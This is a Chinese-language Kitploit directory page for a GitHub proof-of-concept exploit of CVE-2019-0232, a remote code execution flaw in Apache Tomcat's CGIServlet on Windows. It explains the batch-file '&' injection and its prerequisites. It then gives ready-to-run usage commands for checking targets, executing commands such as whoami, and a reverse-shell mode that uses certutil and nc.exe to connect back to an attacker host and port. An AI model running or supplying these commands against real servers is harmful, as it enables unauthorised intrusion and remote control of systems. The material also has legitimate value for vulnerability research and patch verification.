Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-0232 — CVE-2019-0232 - Apache Tomcat CGIServlet enableCmdLineArguments 远程代码执行(RCE)漏洞 - PoC 漏洞利用 | Kitploit
工具/GitHubGitHub/yuzuki-ayanami/cve-2019-0232
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubyuzuki-ayanami/cve-2019-0232

CVE-2019-0232

CVE-2019-0232 - Apache Tomcat CGIServlet enableCmdLineArguments 远程代码执行(RCE)漏洞 - PoC 漏洞利用

查看仓库
1121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
tomcat

CVE-2019-0232

Apache Tomcat CGIServlet enableCmdLineArguments 远程代码执行(RCE)

通过查询字符串参数进行 Windows 批处理脚本注入

描述

当 Apache Tomcat 启用 CGI servlet 且设置 enableCmdLineArguments=true 时,会将查询字符串参数作为命令行参数传递给 CGI 脚本。在 Windows 上,批处理文件(.bat/.cmd)会将 & 解释为命令分隔符,从而允许通过精心构造的 URL 执行任意命令。

前提条件

  • 已在 conf/web.xml 或 WEB-INF/web.xml 中启用 CGI servlet
  • CGI servlet 的 init-params 中设置了 enableCmdLineArguments=true
  • 已部署并可访问 CGI 脚本(例如 ism.bat)
  • 目标是 Windows(& 注入需要批处理文件)

用法

root@kitploit:~
git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt

检查 CGI 端点是否存在:

root@kitploit:~
python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat

执行命令:

root@kitploit:~
python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'

反弹 Shell(两阶段 certutil + nc.exe):

root@kitploit:~
python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444

要求

  • Python 3.8+
  • requests
  • Windows 目标(该漏洞与操作系统相关)
下载工具